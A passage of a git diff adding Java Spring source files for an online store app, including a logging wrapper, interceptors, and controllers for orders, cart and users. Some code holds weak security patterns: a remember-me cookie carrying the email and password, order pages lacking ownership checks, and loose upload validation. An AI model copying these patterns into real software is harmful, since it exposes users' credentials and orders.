final String ORDERS_TABLE = "Orders"; + public static final String ORDER_LINES_TABLE = "OrderLines"; + + public static final String PRICE_FIELD = "price"; + public static final String NAME_FIELD = "name"; + public static final String EMAIL_FIELD = "email"; + + /* Other */ + + public static final String CONTENT_TYPE_HEADER = "Content-Type"; + public static final String CONTENT_DISPOSITION_HEADER = "Content-Disposition"; + public static final String CONTENT_DISPOSITION_HEADER_VALUE = "attachment; filename={0}-{1}"; + public static final String PERSISTENT_USER_COOKIE = "user-info"; + public static final String URL_FORMAT = "{0}://{1}:{2}{3}{4}"; + +} diff --git a/src/main/java/es/storeapp/common/EscapingLoggerWrapper.java b/src/main/java/es/storeapp/common/EscapingLoggerWrapper.java new file mode 100644 index 0000000..4d05dc0 --- /dev/null +++ b/src/main/java/es/storeapp/common/EscapingLoggerWrapper.java @@ -0,0 +1,54 @@ +package es.storeapp.common; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.owasp.encoder.Encode; + +public class EscapingLoggerWrapper { + private final Logger wrappedLogger; + + public EscapingLoggerWrapper(Class clazz) { + this.wrappedLogger = LoggerFactory.getLogger(clazz); + } + + // Implementa todos los métodos de la interfaz org.slf4j.Logger + // y agrega la lógica de escape de caracteres antes de llamar a los métodos del logger subyacente + + public void info(String format, Object... arguments) { + String escapedFormat = escapeCharacters(format); + wrappedLogger.info(escapedFormat, arguments); + } + + public void error(String format, Object... arguments) { + String escapedFormat = escapeCharacters(format); + wrappedLogger.error(escapedFormat, arguments); + } + + public void debug(String format, Object... arguments) { + String escapedFormat = escapeCharacters(format); + wrappedLogger.debug(escapedFormat, arguments); + } + + public void warn(String format, Object... arguments) { + String escapedFormat = escapeCharacters(format); + wrappedLogger.warn(escapedFormat, arguments); + } + + public boolean isWarnEnabled(){ + return wrappedLogger.isWarnEnabled(); + } + + public boolean isDebugEnabled(){ + return wrappedLogger.isDebugEnabled(); + } + + public boolean isErrorEnabled(){ + return wrappedLogger.isErrorEnabled(); + } + + // Método de escape de caracteres + private String escapeCharacters(String input) { + String string = Encode.forHtml(input);//evita javascript inyection + return Encode.forJava(string);//codifica los saltos de linea + } +} diff --git a/src/main/java/es/storeapp/web/config/WebMvcConfig.java b/src/main/java/es/storeapp/web/config/WebMvcConfig.java new file mode 100644 index 0000000..a47db0f --- /dev/null +++ b/src/main/java/es/storeapp/web/config/WebMvcConfig.java @@ -0,0 +1,65 @@ +package es.storeapp.web.config; + +import es.storeapp.business.services.UserService; +import es.storeapp.common.ConfigurationParameters; +import es.storeapp.common.Constants; +import es.storeapp.web.interceptors.AuthenticatedUserInterceptor; +import es.storeapp.web.interceptors.AutoLoginInterceptor; +import es.storeapp.web.interceptors.CSPInterceptor; +import es.storeapp.web.interceptors.LoggerInterceptor; +import es.storeapp.web.interceptors.ShoppingCartInterceptor; +import java.io.File; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +@Configuration +public class WebMvcConfig implements WebMvcConfigurer { + + @Autowired + ConfigurationParameters configurationParameters; + + @Autowired + private UserService userService; + + @Override + public void addInterceptors(InterceptorRegistry registry) { + + /* AutoLogin detecting the persistent cookie */ + registry.addInterceptor(new AutoLoginInterceptor(userService)) + .addPathPatterns(Constants.ALL_ENDPOINTS) + .excludePathPatterns(Constants.LIBS_RESOURCES) + .excludePathPatterns(Constants.EXTERNAL_RESOURCES); + + /* CSP interceptor */ + registry.addInterceptor(new CSPInterceptor()) + .addPathPatterns(Constants.ALL_ENDPOINTS) + .excludePathPatterns(Constants.LIBS_RESOURCES) + .excludePathPatterns(Constants.EXTERNAL_RESOURCES); + + /* Request log interceptor */ + registry.addInterceptor(new LoggerInterceptor()); + + /* Shopping cart guard */ + registry.addInterceptor(new ShoppingCartInterceptor()) + .addPathPatterns(Constants.ALL_ENDPOINTS) + .excludePathPatterns(Constants.LIBS_RESOURCES) + .excludePathPatterns(Constants.EXTERNAL_RESOURCES); + + /* Interceptor to protect authenticated resources */ + registry.addInterceptor(new AuthenticatedUserInterceptor()) + .addPathPatterns(Constants.ORDERS_ALL_ENDPOINTS) + .addPathPatterns(Constants.USER_PROFILE_ALL_ENDPOINTS) + .addPathPatterns(Constants.CHANGE_PASSWORD_ENDPOINT) + .addPathPatterns(Constants.COMMENT_PRODUCT_ENDPOINT); + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + registry.addResourceHandler(Constants.EXTERNAL_RESOURCES) + .addResourceLocations(new File(configurationParameters.getResources()).toURI().toString()); + } + +} diff --git a/src/main/java/es/storeapp/web/controller/CommentController.java b/src/main/java/es/storeapp/web/controller/CommentController.java new file mode 100644 index 0000000..2b2fe04 --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/CommentController.java @@ -0,0 +1,82 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.Comment; +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.services.ProductService; +import es.storeapp.common.Constants; +import es.storeapp.web.exceptions.ErrorHandlingUtils; +import es.storeapp.web.forms.CommentForm; +import java.text.MessageFormat; +import java.util.Locale; +import jakarta.servlet.http.HttpSession; +import jakarta.validation.Valid; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.SessionAttribute; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; + +@Controller +public class CommentController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(CommentController.class); + + @Autowired + private ProductService productService; + + @Autowired + private MessageSource messageSource; + + @Autowired + ErrorHandlingUtils errorHandlingUtils; + + @GetMapping(value = {Constants.COMMENT_PRODUCT_ENDPOINT}) + public String doGetCommentPage(@PathVariable() Long id, + @SessionAttribute(Constants.USER_SESSION) User user, + Model model, + Locale locale) { + CommentForm commentForm = new CommentForm(); + commentForm.setProductId(id); + model.addAttribute(Constants.COMMENT_FORM, commentForm); + try { + model.addAttribute(Constants.PRODUCT, productService.findProductById(id)); + Comment comment = productService.findCommentByUserAndProduct(user, id); + if(comment != null) { + commentForm.setRating(comment.getRating()); + commentForm.setText(comment.getText()); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Loading previous comment {0}", commentForm)); + } + } + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + return Constants.COMMENT_PAGE; + } + + @PostMapping(Constants.COMMENT_PRODUCT_ENDPOINT) + public String doCreateComment(@SessionAttribute(Constants.USER_SESSION) User user, + @Valid @ModelAttribute(Constants.COMMENT_FORM) CommentForm commentForm, + HttpSession session, + RedirectAttributes redirectAttributes, + Locale locale, + Model model) { + try { + productService.comment(user, commentForm.getProductId(), commentForm.getText(), commentForm.getRating()); + String message = messageSource.getMessage(Constants.PRODUCT_COMMENT_CREATED, new Object[0], locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + return Constants.SEND_REDIRECT + MessageFormat.format(Constants.PRODUCT_TEMPLATE, + commentForm.getProductId()); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + } + +} diff --git a/src/main/java/es/storeapp/web/controller/HomeController.java b/src/main/java/es/storeapp/web/controller/HomeController.java new file mode 100644 index 0000000..e432e0b --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/HomeController.java @@ -0,0 +1,32 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.Category; +import es.storeapp.business.services.ProductService; +import es.storeapp.common.Constants; +import java.text.MessageFormat; +import java.util.List; +import jakarta.servlet.http.HttpServletResponse; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.GetMapping; + +@Controller +public class HomeController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(HomeController.class); + + @Autowired + private ProductService productService; + + @GetMapping(value = {Constants.ROOT_ENDPOINT}) + public String doGetHome(Model model, HttpServletResponse response) { + List categories = productService.findHighlightedCategories(); + model.addAttribute(Constants.CATEGORIES, categories); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Home categories: {0}", categories)); + } + return Constants.HOME_PAGE; + } +} diff --git a/src/main/java/es/storeapp/web/controller/OrderController.java b/src/main/java/es/storeapp/web/controller/OrderController.java new file mode 100644 index 0000000..b8f3c3b --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/OrderController.java @@ -0,0 +1,198 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.CreditCard; +import es.storeapp.business.entities.Order; +import es.storeapp.business.entities.Product; +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.InvalidStateException; +import es.storeapp.business.services.OrderService; +import es.storeapp.common.Constants; +import es.storeapp.web.exceptions.ErrorHandlingUtils; +import es.storeapp.web.forms.OrderForm; +import es.storeapp.web.forms.PaymentForm; +import es.storeapp.web.session.ShoppingCart; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Locale; +import jakarta.servlet.http.HttpSession; +import jakarta.validation.Valid; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.SessionAttribute; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; + +@Controller +public class OrderController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(OrderController.class); + + @Autowired + private OrderService orderService; + + @Autowired + private MessageSource messageSource; + + @Autowired + ErrorHandlingUtils errorHandlingUtils; + + @GetMapping(Constants.ORDERS_ENDPOINT) + public String doGetOrdersPage(@SessionAttribute(Constants.USER_SESSION) User user, + Model model, Locale locale) { + try { + model.addAttribute(Constants.ORDERS, orderService.findByUserById(user.getUserId())); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + return Constants.ORDERS_PAGE; + } + + @GetMapping(Constants.ORDER_ENDPOINT) + public String doGetOrderPage(@SessionAttribute(Constants.USER_SESSION) User user, + @PathVariable() Long id, + Model model, + Locale locale) { + try { + model.addAttribute(Constants.ORDER, orderService.findById(id)); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + return Constants.ORDER_PAGE; + } + + @GetMapping(Constants.ORDER_PAYMENT_ENDPOINT) + public String doGetPaymentPage(@SessionAttribute(Constants.USER_SESSION) User user, + @PathVariable() Long id, + Model model, + Locale locale) { + try { + model.addAttribute(Constants.ORDER, orderService.findById(id)); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + PaymentForm paymentForm = new PaymentForm(); + model.addAttribute(Constants.PAYMENT_FORM, paymentForm); + return Constants.ORDER_PAYMENT_PAGE; + } + + @GetMapping(value = {Constants.ORDER_CONFIRM_ENDPOINT}) + public String doCompleteOrder(@SessionAttribute(Constants.SHOPPING_CART_SESSION) ShoppingCart shoppingCart, + Model model, + Locale locale) { + OrderForm orderForm = new OrderForm(); + orderForm.setPrice(shoppingCart.getTotalPrice()); + List products = new ArrayList<>(shoppingCart.getProducts()); + if (products.size() == 1) { + String orderName = messageSource.getMessage(Constants.ORDER_SINGLE_PRODUCT_AUTOGENERATED_NAME_MESSAGE, + new Object[]{products.get(0).getName(), + products.get(0).getCategory().getName()}, locale); + orderForm.setName(orderName); + } else if (products.size() > 1) { + String orderName = messageSource.getMessage(Constants.ORDER_AUTOGENERATED_NAME, + new Object[]{products.get(0).getName(), + products.get(0).getCategory().getName(), products.size() - 1}, locale); + orderForm.setName(orderName); + } + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Go to complete order page {0}", orderForm.getName())); + } + model.addAttribute(Constants.ORDER_FORM, orderForm); + model.addAttribute(Constants.PRODUCTS, products); + return Constants.ORDER_COMPLETE_PAGE; + } + + @PostMapping(Constants.ORDERS_ENDPOINT) + public String doCreateOrder(@Valid @ModelAttribute(Constants.ORDER_FORM) OrderForm orderForm, + BindingResult result, + @RequestParam(value = Constants.PRODUCTS_ARRAY) Long[] products, + @SessionAttribute(Constants.USER_SESSION) User user, + @SessionAttribute(Constants.SHOPPING_CART_SESSION) ShoppingCart shoppingCart, + RedirectAttributes redirectAttributes, + Locale locale, Model model) { + if (result.hasErrors()) { + return errorHandlingUtils.handleInvalidFormError(result, + Constants.CREATE_ORDER_INVALID_PARAMS_MESSAGE, model, locale); + } + Order order; + try { + order = orderService.create(user, orderForm.getName(), orderForm.getAddress(), orderForm.getPrice(), + Arrays.asList(products)); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + String message = messageSource.getMessage(Constants.ORDER_CREATED_MESSAGE, + new Object[]{orderForm.getName()}, locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + shoppingCart.clear(); + if(orderForm.getPayNow() != null && orderForm.getPayNow()) { + return Constants.SEND_REDIRECT + MessageFormat.format(Constants.ORDER_PAYMENT_ENDPOINT_TEMPLATE, + order.getOrderId()); + } + return Constants.SEND_REDIRECT + Constants.ORDERS_ENDPOINT; + } + + @PostMapping(Constants.ORDER_PAYMENT_ENDPOINT) + public String doPayOrder(@Valid @ModelAttribute(Constants.ORDER_FORM) PaymentForm paymentForm, + BindingResult result, + @PathVariable() Long id, + @SessionAttribute(Constants.USER_SESSION) User user, + HttpSession session, + RedirectAttributes redirectAttributes, + Locale locale, + Model model) throws InvalidStateException { + if (result.hasErrors()) { + return errorHandlingUtils.handleInvalidFormError(result, + Constants.PAY_ORDER_INVALID_PARAMS_MESSAGE, model, locale); + } + Order order; + try { + if(paymentForm.getDefaultCreditCard() != null && paymentForm.getDefaultCreditCard()) { + CreditCard card = user.getCard(); + order = orderService.pay(user, id, card.getCard(), card.getCvv(), card.getExpirationMonth(), + card.getExpirationYear(), false); + } else { + order = orderService.pay(user, id, paymentForm.getCreditCard(), paymentForm.getCvv(), + paymentForm.getExpirationMonth(), paymentForm.getExpirationYear(), paymentForm.getSave()); + if(paymentForm.getSave() != null && paymentForm.getSave()) { + session.setAttribute(Constants.USER_SESSION, user); + } + } + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + String message = messageSource.getMessage(Constants.ORDER_PAYMENT_COMPLETE_MESSAGE, new Object[0], locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + redirectAttributes.addFlashAttribute(Constants.ORDER, order); + return Constants.SEND_REDIRECT + MessageFormat.format(Constants.ORDER_ENDPOINT_TEMPLATE, order.getOrderId()); + } + + @PostMapping(Constants.ORDER_CANCEL_ENDPOINT) + public String doCancelOrder(@PathVariable() Long id, + @SessionAttribute(Constants.USER_SESSION) User user, + RedirectAttributes redirectAttributes, + Locale locale, + Model model) throws InvalidStateException { + Order order; + try { + order = orderService.cancel(user, id); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + String message = messageSource.getMessage(Constants.ORDER_CANCEL_COMPLETE_MESSAGE, new Object[0], locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + redirectAttributes.addFlashAttribute(Constants.ORDER, order); + return Constants.SEND_REDIRECT + MessageFormat.format(Constants.ORDER_ENDPOINT_TEMPLATE, order.getOrderId()); + } + +} diff --git a/src/main/java/es/storeapp/web/controller/ProductController.java b/src/main/java/es/storeapp/web/controller/ProductController.java new file mode 100644 index 0000000..fc4e3f0 --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/ProductController.java @@ -0,0 +1,70 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.Category; +import es.storeapp.business.entities.Product; +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.services.OrderService; +import es.storeapp.business.services.ProductService; +import es.storeapp.common.Constants; +import es.storeapp.web.exceptions.ErrorHandlingUtils; +import es.storeapp.web.forms.ProductSearchForm; +import java.util.List; +import java.util.Locale; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.SessionAttribute; + +@Controller +public class ProductController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(ProductController.class); + + @Autowired + private ProductService productService; + + @Autowired + private OrderService orderService; + + @Autowired + ErrorHandlingUtils errorHandlingUtils; + + @GetMapping(value = {Constants.PRODUCTS_ENDPOINT}) + public String doGetProductsPage(@ModelAttribute ProductSearchForm searchForm, Model model) { + List products = productService.findProducts(searchForm.getCategory()); + List categories = productService.findAllCategories(); + model.addAttribute(Constants.PRODUCTS, products); + model.addAttribute(Constants.CATEGORIES, categories); + return Constants.PRODUCTS_PAGE; + } + + @GetMapping(value = {Constants.PRODUCT_ENDPOINT}) + public String doGetProductPage(@PathVariable() Long id, + @SessionAttribute(value= Constants.USER_SESSION, required = false) User user, + Model model, + Locale locale) { + Product product; + try { + product = productService.findProductById(id); + model.addAttribute(Constants.PRODUCT, product); + if(user != null) { + model.addAttribute(Constants.BUY_BY_USER, orderService.findIfUserBuyProduct(user.getUserId(), id)); + } else { + model.addAttribute(Constants.BUY_BY_USER, false); + } + } catch (InstanceNotFoundException ex) { + if(logger.isErrorEnabled()) { + logger.error(ex.getMessage(), ex); + } + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + + return Constants.PRODUCT_PAGE; + } + +} diff --git a/src/main/java/es/storeapp/web/controller/ShoppingCartController.java b/src/main/java/es/storeapp/web/controller/ShoppingCartController.java new file mode 100644 index 0000000..c46aae6 --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/ShoppingCartController.java @@ -0,0 +1,105 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.Product; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.services.ProductService; +import es.storeapp.common.Constants; +import es.storeapp.web.exceptions.ErrorHandlingUtils; +import es.storeapp.web.session.ShoppingCart; +import java.text.MessageFormat; +import java.util.List; +import java.util.Locale; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.SessionAttribute; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; + +@Controller +public class ShoppingCartController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(ShoppingCartController.class); + + @Autowired + private ProductService productService; + + @Autowired + private MessageSource messageSource; + + @Autowired + ErrorHandlingUtils exceptionHandlingUtils; + + @GetMapping(value = {Constants.CART_ENDPOINT}) + public String doGetCartPage(@SessionAttribute(Constants.SHOPPING_CART_SESSION) ShoppingCart shoppingCart, + Model model, + Locale locale) { + return Constants.SHOPPING_CART_PAGE; + } + + @PostMapping(value = {Constants.CART_ADD_PRODUCT_ENDPOINT}) + public String doAddProductToCart(@PathVariable() Long id, + @SessionAttribute(Constants.SHOPPING_CART_SESSION) ShoppingCart shoppingCart, + RedirectAttributes redirectAttributes, + Model model, + Locale locale) { + Product product; + try { + product = productService.findProductById(id); + List products = shoppingCart.getProducts(); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Adding product {0} to shopping cart", id)); + } + for (Product p : products) { + if (p.getProductId().equals(id)) { + String message = messageSource.getMessage(Constants.PRODUCT_ALREADY_IN_SHOPPING_CART, + new Object[]{p.getName()}, locale); + redirectAttributes.addFlashAttribute(Constants.ERROR_MESSAGE, message); + return Constants.SEND_REDIRECT + Constants.CART_ENDPOINT; + } + } + String message = messageSource.getMessage(Constants.PRODUCT_ADDED_TO_THE_SHOPPING_CART, + new Object[]{product.getName()}, locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + products.add(product); + } catch (InstanceNotFoundException ex) { + return exceptionHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + + return Constants.SEND_REDIRECT + Constants.CART_ENDPOINT; + } + + @PostMapping(value = {Constants.CART_REMOVE_PRODUCT_ENDPOINT}) + public String doRemoveProductFromCart(@PathVariable() Long id, + @SessionAttribute(Constants.SHOPPING_CART_SESSION) ShoppingCart shoppingCart, + RedirectAttributes redirectAttributes, + Model model, + Locale locale ) { + Product product; + try { + product = productService.findProductById(id); + List products = shoppingCart.getProducts(); + for (Product p : products) { + if (p.getProductId().equals(id)) { + String message = messageSource.getMessage(Constants.PRODUCT_REMOVED_FROM_THE_SHOPPING_CART, + new Object[]{product.getName()}, locale); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, message); + products.remove(p); + return Constants.SEND_REDIRECT + Constants.CART_ENDPOINT; + } + } + String message = messageSource.getMessage(Constants.PRODUCT_NOT_IN_SHOPPING_CART, + new Object[]{product.getName()}, locale); + redirectAttributes.addFlashAttribute(Constants.ERROR_MESSAGE, message); + } catch (InstanceNotFoundException ex) { + return exceptionHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } + + return Constants.SEND_REDIRECT + Constants.CART_ENDPOINT; + } + +} diff --git a/src/main/java/es/storeapp/web/controller/UserController.java b/src/main/java/es/storeapp/web/controller/UserController.java new file mode 100644 index 0000000..ee79e3b --- /dev/null +++ b/src/main/java/es/storeapp/web/controller/UserController.java @@ -0,0 +1,398 @@ +package es.storeapp.web.controller; + +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.AuthenticationException; +import es.storeapp.business.exceptions.DuplicatedResourceException; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.ServiceException; +import es.storeapp.business.services.UserService; +import es.storeapp.common.Constants; +import es.storeapp.web.cookies.UserInfo; +import es.storeapp.web.exceptions.ErrorHandlingUtils; +import es.storeapp.web.forms.LoginForm; +import es.storeapp.web.forms.ChangePasswordForm; +import es.storeapp.web.forms.ResetPasswordForm; +import es.storeapp.web.forms.UserProfileForm; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.Base64; +import java.util.Locale; + +import javax.xml.bind.JAXBContext; +import javax.xml.bind.JAXBException; +import javax.xml.bind.Marshaller; + +import jakarta.servlet.http.Cookie; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import jakarta.validation.Valid; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.SessionAttribute; +import org.springframework.web.multipart.MultipartFile; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; + +@Controller +public class UserController { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(UserController.class); + + @Autowired + private MessageSource messageSource; + + @Autowired + private UserService userService; + + @Autowired + ErrorHandlingUtils errorHandlingUtils; + + @GetMapping(Constants.LOGIN_ENDPOINT) + public String doGetLoginPage(Model model) { + model.addAttribute(Constants.LOGIN_FORM, new LoginForm()); + return Constants.LOGIN_PAGE; + } + + @GetMapping(Constants.LOGOUT_ENDPOINT) + public String doLogout(HttpSession session, + HttpServletResponse response, + @CookieValue(value = Constants.PERSISTENT_USER_COOKIE, required = false) String userInfo) { + if (userInfo != null) { + Cookie userCookie = new Cookie(Constants.PERSISTENT_USER_COOKIE, null); + userCookie.setHttpOnly(true); + userCookie.setSecure(true); + userCookie.setMaxAge(0); // remove + response.addCookie(userCookie); + } + if (session != null) { + session.invalidate(); + } + return Constants.SEND_REDIRECT + Constants.ROOT_ENDPOINT; + } + + @GetMapping(Constants.REGISTRATION_ENDPOINT) + public String doGetRegisterPage(Model model) { + model.addAttribute(Constants.USER_PROFILE_FORM, new UserProfileForm()); + return Constants.USER_PROFILE_PAGE; + } + + @GetMapping(Constants.USER_PROFILE_ENDPOINT) + public String doGetProfilePage(@SessionAttribute(Constants.USER_SESSION) User user, + Model model) { + UserProfileForm form = new UserProfileForm(user.getName(), + user.getEmail(), user.getAddress()); + model.addAttribute(Constants.USER_PROFILE_FORM, form); + return Constants.USER_PROFILE_PAGE; + } + + @GetMapping(Constants.CHANGE_PASSWORD_ENDPOINT) + public String doGetChangePasswordPage(Model model, @SessionAttribute(Constants.USER_SESSION) User user) { + ChangePasswordForm form = new ChangePasswordForm(); + model.addAttribute(Constants.PASSWORD_FORM, form); + return Constants.PASSWORD_PAGE; + } + + @GetMapping(Constants.SEND_EMAIL_ENDPOINT) + public String doGetSendEmailPage(Model model) { + return Constants.SEND_EMAIL_PAGE; + } + + @GetMapping(Constants.RESET_PASSWORD_ENDPOINT) + public String doGetResetPasswordPage(@RequestParam(value = Constants.TOKEN_PARAM) String token, + @RequestParam(value = Constants.EMAIL_PARAM) String email, + Model model) { + ResetPasswordForm form = new ResetPasswordForm(); + form.setEmail(email); + form.setToken(token); + model.addAttribute(Constants.RESET_PASSWORD_FORM, form); + return Constants.RESET_PASSWORD_PAGE; + } + + @PostMapping(Constants.LOGIN_ENDPOINT) + public String doLogin(@Valid @ModelAttribute LoginForm loginForm, + BindingResult result, + HttpSession session, + HttpServletResponse response, + Locale locale, + Model model) throws JAXBException { + if (result.hasErrors()) { + errorHandlingUtils.handleInvalidFormError(result, + Constants.REGISTRATION_INVALID_PARAMS_MESSAGE, model, locale); + return Constants.USER_PROFILE_PAGE; + } + User user; + try { + user = userService.login(loginForm.getEmail(), loginForm.getPassword()); + session.setAttribute(Constants.USER_SESSION, user); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("User {0} logged in", user.getEmail())); + } + if (loginForm.getRememberMe() != null && loginForm.getRememberMe()) { + Base64.Encoder encoder = Base64.getEncoder(); + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + UserInfo userInfo = new UserInfo(user.getEmail(), user.getPassword()); + JAXBContext context = JAXBContext.newInstance(UserInfo.class); + Marshaller marshaller = context.createMarshaller(); + marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true); + marshaller.setProperty(Marshaller.JAXB_FRAGMENT, false); + marshaller.marshal(userInfo, buffer); + Cookie userCookie = new Cookie(Constants.PERSISTENT_USER_COOKIE, + new String(encoder.encode(buffer.toByteArray()))); + userCookie.setMaxAge(604800); // 1 week + userCookie.setHttpOnly(true); + userCookie.setSecure(true); + response.addCookie(userCookie); + } + } catch (AuthenticationException ex) { + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("User {0} not logged in ", loginForm.getEmail())); + } + return errorHandlingUtils.handleAuthenticationException(ex, loginForm.getEmail(), + Constants.LOGIN_PAGE, model, locale); + } + return Constants.SEND_REDIRECT + Constants.ROOT_ENDPOINT; + } + + @PostMapping(Constants.REGISTRATION_ENDPOINT) + public String doRegister(@Valid @ModelAttribute(Constants.USER_PROFILE_FORM) UserProfileForm userProfileForm, + BindingResult result, + RedirectAttributes redirectAttributes, + HttpSession session, + Locale locale, + Model model) { + if (result.hasErrors()) { + errorHandlingUtils.handleInvalidFormError(result, + Constants.REGISTRATION_INVALID_PARAMS_MESSAGE, model, locale); + return Constants.USER_PROFILE_PAGE; + } + User user; + try { + if(userProfileForm.getImage() == null){ + user = userService.create(userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getPassword(), userProfileForm.getAddress(), null, null); + }else{ + MultipartFile file = userProfileForm.getImage(); + String contentType = file.getContentType(); + if(contentType != null && !contentType.contains("jpeg")){ + user = userService.create(userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getPassword(), userProfileForm.getAddress(), null, null); + }else{ + user = userService.create(userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getPassword(), userProfileForm.getAddress(), userProfileForm.getImage().getOriginalFilename(), + userProfileForm.getImage().getBytes()); + } + } + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("User {0} with name {1} registered", user.getEmail(), user.getName())); + } + session.setAttribute(Constants.USER_SESSION, user); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + 